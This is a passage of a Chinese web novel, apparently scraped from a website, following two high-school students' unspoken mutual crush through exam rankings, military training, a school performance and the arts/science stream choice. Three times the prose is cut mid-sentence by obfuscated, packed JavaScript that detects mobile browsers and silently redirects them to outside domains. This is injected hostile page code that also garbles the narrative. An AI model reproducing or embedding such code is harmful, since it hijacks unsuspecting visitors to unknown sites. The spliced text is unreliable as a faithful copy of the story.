闻弋的心微微一紧。恰在此时,前面的人群散开些许,她被推挤着来到了榜单前。她的目光急切地扫过一个个名字,从下往上,最终在第七十七名的位置定格。 “程覃一。” 她几乎不敢相信,揉了揉眼睛,再次确认。 旁边一个男生正大声念着:“程覃一,年级七十七。语文92,数学147,英语145,物理99,化学96,生物93,历史62,政治61,地理83。” “哥们儿,真牛啊!”另一个男生附和道。 周围的议论声嗡嗡作响,闻弋觉得有些吵闹。她抬头找到自己的名字,高居第七。 她上下看着,对比自己的和程覃一的分数。 程覃一差她差了九十多分,基本上是在语文历史政治上差的分。 肯定是程覃一字太丑了,老师根本不知道他在写啥,所以分这么低。不过分低的基本是文科学科,要是按理科算,他的分还要再往上。如果一直保持这个成绩,进292班毫无问题。 闻弋在心里记下程覃一的成绩后,打算往旁边出去。但是旁边的人看得很认真,她说了几遍麻烦让她出去,但是那个人都没有听见。 “同学,让她出去一下。”一个很耳熟的声音从闻弋头顶传来。 她抬头看了一眼。是程覃一。 他不会一直就站在她的旁边吧?那他岂不是看见了她在看他的成绩? “谢谢。”闻弋说完赶紧跑出人群,转头看见程覃一也在看她,朝她笑了笑。 她慌忙转过头,小跑离开那个地方。 脸上感到一顿热。 一定是刚才在那个人群里挤得太热了。 她莫名想到电影《怦然心动》的英文名。 “Fidded。” 是猛撞,是悸动,是怦然心动。 不对不对,不是这种。 自己怎么可能会喜欢他呢?闻弋赶紧把这个荒唐的想法赶走。 接下来,她又陷入沉思。 程覃一真要看见了她那么关注他,他会怎么想?他会不会觉得自己很关注他了?会不会觉得她喜欢他? 或者他会不会觉得自己是把他当竞争对手了? 闻弋也不知道自己为什么那么爱关注他。 肯定不是因为喜欢,可是她也没想把他当竞争对手啊? 自那次成绩榜前的短暂交集后,闻弋很长一段时间没有再“偶遇”过程覃一。 直到年级上的领导突然改变他们跑操的路线。 市一中规定早上十点到十点五十,每个学生都要参与大课间活动,首先要跑两圈四百,然后在跑道上做操。 本来292班是走另一个楼梯下楼集中做操,但是那条楼梯有安全隐患,要重新改造,学校打算拆了装电梯。他们班只能去最大的那个楼梯下楼跑操。而那个最大的楼梯正好也是程覃一他们班走的。 这样意味着,每天闻弋去参加大课间,都有可能看见程覃一。 她开始有些期待。 她已经不祈求能和他打上招呼了,只要看见他就好。要是他看见她,能给她一个微笑,更好。 如闻弋所想,她真的能在要去跑操的楼道上看到程覃一,但是也不是每天都能遇见。 第一天,远远的,她还在走廊里,就看见随着人流下楼的程覃一。 周遭的女生兴奋地议论着他,她们极力压低声音,但闻弋还是听见了。 他真的很出众,在人群里一眼就能看到他。 但是程覃一没看见她。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535101|186512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 当她走到楼梯口时,他已经在下面了。 如果他能往上看一眼,就能看见正在看着他后脑勺的闻弋。 第二天,程覃一看见她了。 他真的给她一个微笑。 她看到后有些害羞,低着头走路,不敢再看他一眼。 第三天,没有看见。 第四天,看见了,他面无表情。 第五天,没有看见。 第六天,没有看见。 第七天,看见了,他仍然面无表情。 …… 第十七天,看见了,程覃一很冷漠,他看见了自己还回避,转过头和旁边的男生聊天。 …… 人与人为什么会渐行渐远? 闻弋在草稿纸下写下这个问题。 最后,她得出了一个结论:或许是因为,这段关系本就基础薄弱,如同沙上堡垒。 她和程覃一,满打满算,真正相识也不过十几天。他们并不真正了解彼此,相遇时也无太多共同话题可聊。 关系的淡化,从熟人退回陌生人,似乎是自然而然的事。 高一上学期在忙碌的学习中飞逝。程覃一的成绩突飞猛进,成功跻身第一考场。他们时常在考场上碰面,但两人之间,仿佛隔了一层无形的屏障。 每一次相遇,都如同陌路。没有问候,没有微笑,只有目光偶尔的短暂交汇,随即各自移开,擦肩而过。 他们之间,像是失去了什么东西。 高一下学期,学校别出心裁地开设了劳动课。 校园东北角那几块闲置已久的土地被重新开垦,划分给各个班级。劳动老师是个皮肤黝黑的中年人,正手把手地教大家如何播种白菜。 这样的劳动课通常是几个班级一起上。四月的阳光暖融融地洒在田埂上,学生们三三两两地散落在菜地里,欢声笑语此起彼伏。 闻弋站在自己班的土地旁,她四处张望,在不远处的一条路上看见了程覃一。他和一个她经常在第一考场上看见的男生走着。 299班的劳动课居然和292班是同一节!闻弋的心在雀跃。 似乎是注意到了她的目光,程覃一朝她这个方向看过来,闻弋猛地转过身,一把拉住身旁的林满,指着地上的菜苗没话找话:“你看这个间距合适吗?会不会太密了?” 林满被她突如其来的问题弄得莫名其妙:“刚才不是量过了吗?怎么又问?” 闻弋支支吾吾答不上来,眼角的余光却一直追随着那个方向。过了好一会儿,她才装作不经意地回头望去。 刚才那个位置已经空无一人。 他们走了。 一股说不清的失落感涌上心头。她不由自主地直起身,在人群中寻找那个熟悉的身影。终于,在隔着一条田埂的299班菜地旁,她看见了他。 他正和另一个男生讨论着什么,眉宇间是她从未见过的轻松自在。几个女生笑着走过去搭话,不知他们说了句什么,其中一个女生笑得前仰后合,清脆的笑声隔着整片菜地都能听见。 真好啊。 闻弋心不在焉地锄地,余光总是飘到那边。此刻的程覃一,和记忆中那个在她面前总是沉默拘谨的少年判若两人。 一个念头不受控制地冒了出来:难道我很可怕吗? 为什么在她面前,他总是那样沉默?是不是因为她太过无趣,让他连多说一句话的兴致都没有? “林满,”她轻轻拽了拽好友的衣角,声音低得几乎听不见,“我是不是个很无聊的人?” “怎么会?”林满停下手中的活,认真地看向她,“我觉得你超级可爱啊!你脑子里总是装着各种奇思妙想,那些天马行空的想法要是给我,我都能写出好几本小说了。” “是吗?”闻弋勉强笑了笑。 如果是这样,那为什么程覃一会离她越来越远?是不是在他眼里,那些她自以为有趣的奇思妙想,其实都很幼稚可笑?是不是在他心里,她就是个不折不扣的怪人? “那……我让人讨厌吗?”这个问题问得更轻了,带着连她自己都没有察觉的脆弱。 “你今天怎么了?”林满放下铲子,握住她的手,“你长得漂亮,成绩好,性格又温柔,怎么会有人讨厌你?” 可是好像真有啊。 闻弋望着远处那个身影,心里泛起细细密密的疼。她不知道自己是从什么时候开始喜欢上程覃一的,也许是那个书法班的夏天,也许是每一次楼梯间偶遇时加速的心跳,也许是他站在成绩榜前对她微笑的瞬间。 或许就是某一瞬间的“flidded”。 可当她终于意识到这份心意时,另一个认知来得更快、更锋利——她觉得程覃一讨厌她。 这个认知像一根刺,深深扎进心里。比起曾经若有若无的悸动,这种被讨厌的感觉更加真实、更加痛彻心扉。她看见他和别人谈笑风生,看见他在她面前迅速收敛的笑容,看见他刻意避开的目光。 每一个细节都在印证着这个残酷的事实。 风温柔地拂过菜地,新播的种子在泥土中静静沉睡。闻弋站在一片生机勃勃的春色里,却觉得自己的心正在慢慢枯萎。 她最后望了一眼那个方向,然后蹲下身,重新拿起铲子,一下一下地翻着土。动作很轻,很慢,仿佛这样就能把那些不该有的心思,连同这份刚刚萌芽就注定无果的喜欢,一起埋进这片土地里。 14. 偶遇(一) 到学校一周后,学校才开始进行军训。 一个班一个连,总共十五个连。 他们的训练场地在足球场上,按班次排序。292班到299班,中间隔着七个班的距离, 从足球场的一边到另一边。 程覃一所在的299班位于球场西侧,这一侧离小卖部特别近。小卖部门外安置着几排长椅,椅旁栽着两棵枝繁叶茂的梧桐树,浓密的树荫恰好将座椅完全笼罩,成了炎炎烈日下难得的清凉之地。每次训练间隙,同学们总会三五成群地跑去买水,然后坐在树荫下乘凉说笑。 在这些热闹的场景里,程覃一总是显得格格不入。他来一中已经一个星期了,却依然沉默寡言。班上不少同学主动找他搭话,他都只是淡淡回应;甚至有隔壁班的女生红着脸来要□□号,他也只是摆摆手拒绝,连一句“不方便”都吝于开口。 不过,认识了一个还算合得来的同学,叫晏子钦,是他的同桌。 晏子钦个子和他差不多高,很活泼,话很多。程覃一不嫌晏子钦话多,晏子钦不嫌程覃一话少,两人就这么自然而然的走到了一起。 程覃一所在的连队每天下午三点半都会休息一段时间。在这段时间里,程覃一都会和着晏子钦去小卖部买一瓶水喝,然后坐在椅子上乘凉。 他每次都看着292班那个方向。 他每天都期待着,幻想着也许她会和朋友来小卖部买东西。也许她们的身影会出现在那条跑道上。 “你在看什么呢?看得这么入神。”晏子钦用手在程覃一眼前晃了晃。 “没什么。” 就在这时,他看见她了。 她真的出现在通往小卖部的跑道上。 风很大,她的帽子差点被吹飞,她把帽子拿下来,风把她的头发吹起来,她转头边跑边呼喊着后面慢她一截的朋友。 她停下脚步,拉着跑得气喘吁吁朋友,走进小卖部。 “我去一趟小卖部。” 程覃一突然站起来,把正在喝水的晏子钦吓了一跳。 “刚才不是才去过吗?” “我想再买一瓶。” 说完,程覃一头也不回就走进小卖部。 他下意识地把帽檐往下压了压,遮住大半张脸,他既渴望见到她,又害怕被她看见。 身高优势让他能轻易越过货架看见闻弋。她和朋友正站在饮料柜前挑选,大概是太热了,她脱掉了外套,只穿着一件黑色T恤,衬得身形格外清瘦。 她好瘦。程覃一感叹。 程覃一默默注视着,直到她们各拿了一瓶矿泉水走向收银台。 “等等,我再拿瓶酸奶。”闻弋的声音清脆悦耳。 脚步声渐近,他们之间只隔着一个货架。程覃一能从缝隙中看见她,她却看不见他。只见她快速从架上取下一瓶酸奶,和朋友说笑着离开了。 程覃一从绕了一边,也拿了一瓶刚才闻弋拿的那种酸奶。 “你居然买了一瓶酸奶?不是说水吗?”看着程覃一拿着一瓶酸奶回来,晏子钦好奇地问。 “突然想喝了。” 程覃一打开酸奶瓶,喝了一口,他不习惯喝酸奶。 好酸,但也好甜。 军训的最后一晚,整个操场洋溢着欢声笑语。教官提议围成大圈做游戏,因为场地不够,便带着他们转移到一片更宽敞的区域。恰巧有一个连队也在附近活动,两个连队一拍即合,合并成一个更大的圆圈。 在路灯昏黄的光线下,程覃一在人群中捕捉到了闻弋的身影。他低声问晏子钦:“那是哪个班?” “292啊,你没看见蒋子尧吗?市第一啊,就在292班。” 程覃一根本不关心什么市第一,他的目光始终追随着闻弋。她在东张西望,可偏偏就是没看他这边。 “下一个任务,找异性介绍自己。”连队里那个组织游戏的男生说。 他正盯着闻弋,而闻弋在发呆。 他听见这个任务,轻笑了一声。 好低俗的任务。 可这个任务偏偏落在了闻弋头上。连队里开始起哄,几个男生兴奋地交头接耳。程覃一心里莫名蹿起一股无名火,恨不得给那些起哄的男生一人一拳。 他看着闻弋尴尬地站起来,小声问旁边的人什么任务。 “这个女生有点漂亮哦,你觉得她会找谁?”晏子钦凑过来,捂着嘴巴小声说。 “不知道,和你有关吗?”程覃一朝他翻了个白眼。 组织游戏的男生又说了一遍任务。 闻弋绕着圈子慢慢走着,目光在人群中游移。程覃一紧紧盯着她,多么希望她能看见自己,然后走向他。当她的目光真的扫过他时,他的心几乎跳到嗓子眼,可她很快移开了视线,仿佛他只是人群中一个无关紧要的影子。 失落涌入心头。 最后,她选了一个他不认识的男生。 “想不到,她居然会选一个眼镜男,这个男的看起来没比她高多少。”晏子钦旁边的男生说。 “万一人家觉得尴尬,所以选了一个自己认识的男生呢?那个人好像就是他们班的。” 程覃一感觉脸上火辣辣的,心里泛起细密的疼痛。明明他们也认识啊,为什么不是他?难道她讨厌他?觉得选他很丢脸?她明明看见他了!接下来的游戏他完全没了心思,低着头机械地抠着塑胶草坪上的颗粒。他讨厌这个游戏,更讨厌她没有选择他。 军训过后,年级上举行了一场新生篮球比赛。 程覃一篮球打得还不错,技术基本都是从他家附近一所小学的体育老师那里学的,有时候闲着无聊,就会去找那帮老师切磋切磋技术。上初中时,他不怎么和班上的同学来往,所以也没参加过篮球比赛。 上高中的第一个星期,班主任就说要组一个篮球队,本来他不想加入的,但是老师说他个子高,让他参加。他也不好拒绝。 谁也没想到,最后居然是这个不想参加的人带着299班的篮球队拿下冠军。 比完赛后,他名声大噪。和晏子钦走到哪都会被议论。但是程覃一根本不在意。他只在意闻弋知不知道这件事。 他想找到闻弋,和她说,他打篮球拿了第一名。但是他总是太胆小,总是太忐忑,总是太犹豫,总是在意自己贸然去找她,会不会对她造成不好的影响。 一中有规定,不能串班,异性串班更是各打五十板。他没有勇气去找她。 一中的第一次月考,程覃一考得还不错。 连班主任都没想到他居然能考到年级前一百。 “你中考是不是失利了?你这成绩,应该在重点班啊?”班主任拿着成绩单,坐在办公室的沙发上问他。 “是不是因为你字不好看,分被老师扣得太多了?” 程覃一点点头。 “你看你的语文,连一百分都没上,这分我记得是年级倒数吧,年级平均分在108分,你差平均分差了十六分,你要是加上这十六分,你就能进年级前五十了,还有历史和政治,不过你以后应该是走理科吧,文科这几门好好学,把会考过了……” “总之,你好好练字,练好字,成绩更好。” “年级前一百的榜单在一楼的宣告栏上,你好好去看看,对比一下,你和前面的人差在哪里。” 晏子钦也进了前一百,两人结伴下楼看榜。公告栏前围得水泄不通。程覃一惊喜地发现,闻弋就站在他前面一排,中间只隔一个人。挤到第二排时,他凭借身高优势,一眼就找到了闻弋的成绩: 年级第七。 他在心里默念:语文126,数学145,英语135,物理99,化学97,生物96,历史90,政治86,地理89。 真厉害,就是英语差了点。 他想起来在书法班时,闻弋就老抱怨她不喜欢英语,最讨厌英语听力。想到她每天因为要背单词生气的样子,他就觉得很可爱。 他把闻弋的成绩记得滚瓜乱熟后,低头看着站在他左前方的女孩。她好像在看下面人的成绩。程覃一的心一下子被揪起来。她不会在看他的成绩吧? 不对,不可能。 他正想着,女孩就要走了。 她叫了旁边那个人让让她,但是那个人好久都没有动作。 闻弋因为那个人的无动于衷,看起来有点尴尬,脸开始有些红。 程覃一拍了一下那个人。 “同学,让她出去一下。” 闻弋听见声音,抬起头来看着他。眼睛大大的,脸红红的,像打了腮红。 “谢谢。”她声音真好听。 她挤出人群后,回头望了他一眼。程覃一顺势对她微笑,她却慌乱地别过脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16535102|186512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,匆匆跑开了。 为什么她和自己道谢不是说“程覃一,谢谢你”?为什么他对她笑,但是她都不愿回一个笑容?难道她真的觉得和他说话是一件很羞耻的事吗?难道她很讨厌他吗? 接下来,还有很多让他不解的事。 下楼去操场上做大课间活动时,他看见了闻弋。 闻弋也看见他了。 他下意识朝她笑了笑,但是他扬起来的嘴角还没有平下,闻弋很快就低下头,似乎在装作没有看见他。 此后下楼去做课间活动,他都能看见闻弋。 有时候,她走在前面,程覃一只能看见她的后脑勺,有时候,她缓缓挤在走廊的人群中,他们视线在人群中交错,然后又像慌乱的小鹿一样迅速逃离。 他不明白为什么会变成这样。 他们好像变成了陌生人。 程覃一的成绩持续进步,第三次月考时,他成功跻身第一考场。更让他激动的是,在这里,他见到了心心念念的闻弋。可他还没来得及高兴,就看见她正和那个戴眼镜的男生——军训那晚她选择的男生相谈甚欢。 他从没见过她笑得这样明媚。或许以前见过,只是那时他还不知道,自己会对这个女孩产生如此深切的好感,甚至因她而情绪起伏。他不想看这刺眼的一幕,目光却不受控制地定格在她身上。那么美好的笑容,为什么不是为他绽放? 他劝自己趴下,趴下好好休息等着老师进来发试卷,不看就不会难受,不看就不会不开心。 他终于趴下了。 他感受到自己脸上有湿热的感觉。是眼泪吗? 可他的耳朵仍在固执地听着他们在说什么,可他听不见,他什么也听不见。 他只听见她的笑声,那么清脆,那么好听。 父亲说得对,他的耳朵真固执,一点也不听话。 他不想听见闻弋不是对着他笑的笑声。 他捂住耳朵。 高一下学期,他们开始上劳动课。 所谓的劳动课,不过就是在一片空地里种点东西。 程覃一对一切东西都是淡淡的,除了对闻弋。 因为成绩好,他被班主任任命为学习委员。当了学委后,他经常往办公室跑。接触到很多老师,自然而然也知道了很多292班的情况。他经常听见他们议论292班的学生,其中闻弋就被提到好多次。 闻弋那么优秀,被老师喜欢很正常。每次一说到闻弋,他就故意在办公室里拖着不走,等老师说完才走。 有天,班主任找他说,让他别上劳动课了,去和校队的打篮球去比赛,原本他打算真不去上了。 但是无意得知那节劳动课是和292班一起上的,他最后拒绝了。 篮球哪有闻弋重要? 只要见到了闻弋,哪怕他们真的像陌生人一样,一个眼神交流都没有,他也愿意。 “你篮球打得那么厉害,打篮球比劳动课更重要,那劳动课你们上了也没什么用,就是让你们去拔拔草,地都是劳动老师帮你们种的,还是去练篮球吧,多练篮球,拿下市冠军可能性更大。” “老师,我还是想上一上劳动课,平时不是学习就是打篮球,没什么时间好好休息,既然你说劳动课比较清闲,我觉得可以利用这个时间段养精蓄力。” 最后,班主任同意让他去上劳动课。 第一节劳动课。 果真,闻弋真的和他在一节课。 她和她的朋友在菜地旁聊天,看起来很开心。 他和晏子钦走到299班的菜地旁,正好对着闻弋她们。 闻弋只要轻轻一偏头,她就能看见正在看着她的程覃一。 可是,她没有。 程覃一就这样隔着一块地看着她,直到班上的文艺委员来找他说话,他才收回目光。 “我们要筹备五四青年节的节目了,你有没有什么建议。” “没有,你问晏子钦,他馊主意很多。”程覃一回复。 他现在可没心情讨论什么节目。 文艺委员和晏子钦站在他面前谈论起来,晏子钦话真多,还搞笑,把文艺委员逗得哈哈大笑,他们时不时还来询问他怎么想。 他还能怎么想? 他在想闻弋。 在想闻弋为什么不愿意给他一个眼神,哪怕只有一秒。 15. 分班(弋) 距离五月四日越来越近了。校园里的气氛也日渐热烈起来。高一年级各个班级都在紧锣密鼓地排练五四青年节的节目,每到晚自习时间,参加演出的同学们就会陆续前往礼堂。 闻弋一向喜欢戏剧,这要追溯到初中时代,那时学校里有个戏剧社团,听说指导老师是电影学院导演专业毕业的,她毫不犹豫地报了名。那是她第一次鼓起勇气,想要触碰那个藏在心底的梦想。 然而这份期待很快就被现实击碎。母亲得知后,特意赶到学校,在班主任的办公室里,当着来来往往同学的面,厉声质问她:“你搞这些对你学习有用吗?难道你以后要去当戏子吗?我在你身上花了那么多钱,可不是送你进娱乐圈当戏子的!” 母亲在老师的办公室里大声苛责她,“戏子”两个字像针一样扎进心里。在那些好奇、同情或是看热闹的目光中,闻弋只觉得脸上火辣辣的,恨不得找个地缝钻进去。 谁说参与戏剧一定得是演员,也可以是写剧本的编剧,也可以是导演,也可以是摄影师,也可以是美术指导,也可以是道具人员,也可以是…… 闻弋的梦想是成为一名电影制片人,戏剧社团是她能接触这个领域唯一的途径。 虽然最后没能参与到其中,但闻弋只要一有时间就往学校礼堂跑。她甚至和那个老师成了朋友。那个老师和她说了很多关于电影制片的背后故事。 她从未放弃梦想,可如今离它却越来越远。 现在,有这样一个机会放在眼前,她却没能拥有。她不是文艺委员,没有资格参与编排小品的任务。她能参与到的就是扮演一个女学生在现场写一幅书法。她被选中,也只是因为她有一手好字。 为了这次演出,班级统一购置了民国风的学生装:女生是蓝色的上衣配黑色长裙,即所谓的“文明新装”,男生则是立领诘襟制服。 表演当天,她们化了淡妆,在礼堂门口的台阶上集合等候。闻弋和林满并肩站着,漫无目的地打量着其他班级的装扮,然后推测他们的节目。 “286班的女生穿着汉服,好漂亮的服饰。” “294班穿着消防员服饰,应该是表演有关消防员的节目吧。” “299班……”林满突然指向不远处,“他们的服装和我们班好像。” 闻弋顺着她指的方向看去,一眼就看见了举着班牌的程覃一。他穿着民国男生的诘襟制服,身姿挺拔,在人群中格外显眼。 “那个就是程覃一吧?”林满扯了扯闻弋的袖子。 “谁?”她不能暴露自己认识他,她要装作什么都不知道。 “就是举着299班牌子那个男生,你不认识程覃一吗?这次他跟着校队去比赛,又拿了冠军,而且成绩也很厉害,你应该在第一考场见过他呀,他长得那么帅。听说追他的人好多。” 闻弋不动声色地收回视线,轻轻摇头:“不认识。没怎么注意过。” “是吗?看来我们闻弋对帅哥不感冒。” 林满继续评价其他班的服饰。 “297班居然没有别的服饰,他们穿校服,不会是合唱吧?” “295班穿的是戏服,是表演京剧吗?” …… 林满一个劲地说,闻弋心不在焉地附和着,任由自己的目光若无其事地飘向那个方向。 有几个女生正围在程覃一身边说笑,还有人拿出相机请求合影。 他怎么就那么受欢迎呢?他就是这样,永远站在人群中央,却又仿佛隔着一层看不见的玻璃。而她自己,永远只是玻璃外的旁观者。 “闻弋,闻弋,你在听吗?”林满摇着她的手臂。 “抱歉,我在想台词。”她回过神。 “啊?你有台词吗?” “哦,不是,是我要写的字,我担心我会出错。” 就在这时,前方传来老师的通知:“292班的,可以进场了。” 闻弋班的节目在第三个,表演人员都集中在后台候场。 她们的节目排在第三个,所有参演人员都在后台候场。这个地方有些狭小,光线昏暗,堆满了待会儿要用的道具。林满临时去洗手间,其他同学都在外面背稿,只剩下闻弋一个人留在角落里比划自己待会儿要写的字。。 突然,一群男生搬着桌椅进来。低着头的闻弋吓了一跳,眼看一个桌角就要撞上她的腰侧,一只有力的手及时护住了她。 她抬起头,在昏暗的光线中辨认出一个清晰的轮廓。是程覃一。 “没撞到吧?”他转过头来,声音很轻。 她摇了摇头,一时说不出话。他微微颔首,扶稳桌子,随即转身离开。 闻弋望着他的背影消失在人群里,心脏后知后觉地狂跳起来。 距离他们上次说话,大概有多久了?上一次说话,好像还是在上学期开学的第一个周日。好遥远,却又像在眼前。 闻弋还在回味着刚才发生的事。 班上的文艺委员过来和她说马上要到她们了,让她做好准备。 “下面有请第三号班级给大家带来小品。”台上的主持人的声音传到后台。 要上台了,她开始有些慌张,手不停地模拟着用毛笔写字。 可千万别出错。 很快,轮到闻弋和林满上台了。 她走到舞台中央,看了一眼台下的观众。她看见了程覃一,他坐在第一排,举着班牌。 林满说着她的台词,她在一旁用毛笔写下那些字。但是出现了一点状况,林满台词说完了,她还没有把字写好。 整个节目出现了一小段空白。 紧张和慌乱织成一张巨大的网,把闻弋紧紧裹住,闻弋想要挣扎,却只落下满地的尴尬。 没有台词,她的表演只有一幅不完美的书法作品。 “当着那么多人的面,我快紧张死了。”回到后台后,林满拍着自己的胸脯说。 闻弋低着头沉默着。她在想,程覃一肯定看见她了。他离得那么近,肯定清清楚楚地看见了她红透的脸。他会怎么想?会不会觉得她拖累了292班。 闻弋一点也不开心。 她坐在台下,也没心情看别的班级表演,看到最后,也没瞅见程覃一的节目。 颁奖的时候,闻弋才知道299班的节目在一号,而他们表演时,她和林满在后台做准备。完美错过他的表演,而自己也在他面前出了差错。 还有什么比在喜欢的人面前出糗更糟糕? 还好,292班最后拿了一个二等奖,要是什么都没有,她肯定会被班上的同学说闲话的。 299班也拿了个二等奖。 上台领奖的是程覃一和一个眼熟的女生,闻弋想起来是程覃一他们班的文艺委员。 “他俩看起来好般配。”身后传来不知谁的感叹。 她看着台上的两个人,一个穿着民国时期诘襟制服,一个穿着女子文明新装,固然像一对。 她低下头,仿佛所有的热闹都与她无关。 喜欢的男孩在台上熠熠发光。 闻弋觉得自己,似乎离他越来越远了。 五四晚会后,校园生活很快被更紧迫的事情占据,高一即将结束,年级里开始组织文理分科。 闻弋想选文科。她从初中那位戏剧老师那里了解到,戏文、制片等电影相关专业大多偏向文科,艺考也更适合文科生。这是她离梦想最近的一条路。 起初闻弋还有些犹豫,因为上学期她还在鼓励程覃一来重点班,那时候还幻想着程覃一来292班,可是经过时间的蹉跎,一切都变了,她想,程覃一学理也不一定会来292班,况且他们已经完全成了陌生人,就算程覃一真来了292班,那也只是陌生的同学,想到这,闻弋更想学文了。 但是她妈妈不同意。 “必须学理。你知不知道你有个表哥就是学文科,结果现在连个工作都找不到,你那个表姐,和他同一年高考的,学理,一毕业就找到工作,现在都结婚有小孩了,学理更有前途,必须学理。” 闻弋没有争论,她知道母亲说的都是事实,她就算再怎么争辩文科也有前途,母亲都不会同意她学文。 “闻弋,你文科分数也高,理科也高,你有没有想好自己要学什么?”班主任问她。 “我……” 她该怎么说,是说母亲的逼着她学的理科,还是她更喜欢的文科呢? “我想学文,”闻弋停顿了一下,“我妈妈让我学理。” “所以你现在是想学什么?” 她又想起来初中报社团那件事,就因为她报了戏剧社团,母亲抛下工作赶到初中班主任办公室里,看着班主任把闻弋报的戏剧社团改成英语社团。那天母亲对她的责骂还历历在目。 她不想再经历一次这样屈辱人的事。 “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16551669|186512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打算学理。” 她想起母亲那双不容置疑的眼睛,想起那些贬低她梦想的话语。她讨厌自己的懦弱,却更害怕面对冲突。 晚自习,班长分发分班申请志愿书。 “闻弋,你写好了没,只有你没交了。” 班长已经收好全班的志愿书了,只差闻弋的了。 “马上。” 她忍着泪水,在志愿书上勾选“理科”。 她留在了292班。 从此,想成为一名电影制片的梦想,永远消失了。 “你们猜程覃一会去哪个班?” 她和林满去上厕所,一路上去,听见好多人都在讨论。 “肯定是293班,陆青禾要去293班,肯定是因为他要去293班。”有一个女生说。 大概是从五四晚会那晚起,年级上就开始传起程覃一和他们班文艺委员的绯闻。 起初,闻弋只是听说陆青禾在追求程覃一,但她不知道陆青禾是谁。 后来才知道,原来陆青禾就是299班的文艺委员,那个曾经被人说和程覃一很像一对的女孩。 “你说这些人讨不讨厌,人家程覃一和陆青禾根本就没在一起,还在这传这些小道消息。” “不管在没在一起,其实都和我们无关。”闻弋冷着脸把手上的水滴甩干净。 “闻弋你还在因为不能学文不开心吗?”林满还以为到闻弋还在因为没能学文的事而不开心。 对于没能学文这个事实,其实她已经慢慢接受了。现在她只是不想听到任何关于程覃一的消息,每听一次见他的名字,心就像被细针扎过,密密麻麻地疼。这份情感如同一个见不得光的秘密,只能在无人知晓的角落里默默生长。 但是她不可能真的对林满这么说。 “没什么,就是觉得现在还是有些难以接受。” “闻弋,你真要想学电影制片的话,以后可以跨专业考电影学院的研究生。” “我以后会考虑的。” 闻弋勉强挤出一个笑容。 周三晚上,高一年级开始分班了。 整栋教学楼吵吵闹闹的,有人搬书离开,又有人搬书进来。 闻弋安静地坐在自己的位置上,仿佛周围桌子的移动声、书箱的拖动声,还有周围同学的躁动声、议论声,她都听不见。 她低着头忙着做自己最讨厌的英语。 难得这么沉浸。 下自习后,林满说要去小卖部买东西,她只好一个人回宿舍。 一路上,她听着前面和后面的女生叽叽喳喳讨论着程覃一。 她像一颗被急流裹挟的石子,身不由己地陷入她们谈话的漩涡。 “程覃一去哪个班了?” “好像是292班。” 292班?闻弋觉得奇怪,怎么刚才没看见他呢?一想到自己那时候一直在认真做英语练习,又没那么纠结了。 本来打算屏蔽一切有关程覃一的对话的闻弋此时竖起耳朵仔细聆听。 “真是292班啊?不是说要去293班吗?” “292班是最好的班,他肯定去292班呀。” “可是,不是有人说陆青禾要去293班吗?我以为程覃一也是去293班。” “那就不知道了,听说程覃一原本不想去292班的,是他们班主任逼他去的。” 后面的女生声音压低,但是闻弋还是清晰地听见了。 前面的女生已经各自散开了。 她加快了自己的脚步。 回到宿舍后,闻弋快速洗漱好躺在床上。 宿舍里的其他人陆陆续续回来了。她们开始讨论着程覃一。 她真讨厌这种感觉,每次一听到那个名字心就跳得急促,“慌”如同几千根针上上下下落在自己的心上。 明明她才是最早接触过程覃一的人,可为什么她就不能像其他人一样大大方方谈论着他? 是因为自己自视清高,还是懦弱? 可是为什么又要懦弱呢? 闻弋开始觉得自己是如此的虚伪。 可她就想要把自己伪装得好好的,她知道,自己一旦向别人露出一点真实的自我,所有的伪装都会被别人看穿,所有的防御都会化成一摊脆弱。 可她就想要把这份喜欢埋藏在心里。 为什么不想让它发芽,却又怕它枯萎呢? 16. 分班(一) 陆青禾已经记不清这是第几次来找程覃一了。 五月的风带着初夏的燥热,穿过教学楼长长的走廊。陆青禾站在教室后门,看着那个靠窗的座位,程覃一正戴着耳机,手指间转着一支笔,目光落在窗外那棵梧桐树上。 “他还是不同意?”陆青禾回到自己的位置,同桌小声问她。 陆青禾摇摇头,程覃一就像一块捂不热的石头,任凭她好说歹说,永远只有一句“没兴趣”。 在程覃一看来,这些集体活动除了浪费时间,毫无意义。有这功夫,不如多做几道物理题,或者想闻弋。 对于这类活动,晏子钦倒是很积极,一有时间就往礼堂跑。 “诶,你猜我昨天晚上发现了什么?”中午去食堂的路上,晏子钦突然撞了一下他的肩膀,语气里满是发现新大陆的兴奋。 程覃一懒懒地“嗯”了一声,算是回应。晏子钦总爱和他分享各种八卦,大多是他不感兴趣的。但他从不明确拒绝,万一哪天,就从这些无聊的闲谈里,听见关于闻弋的消息呢? 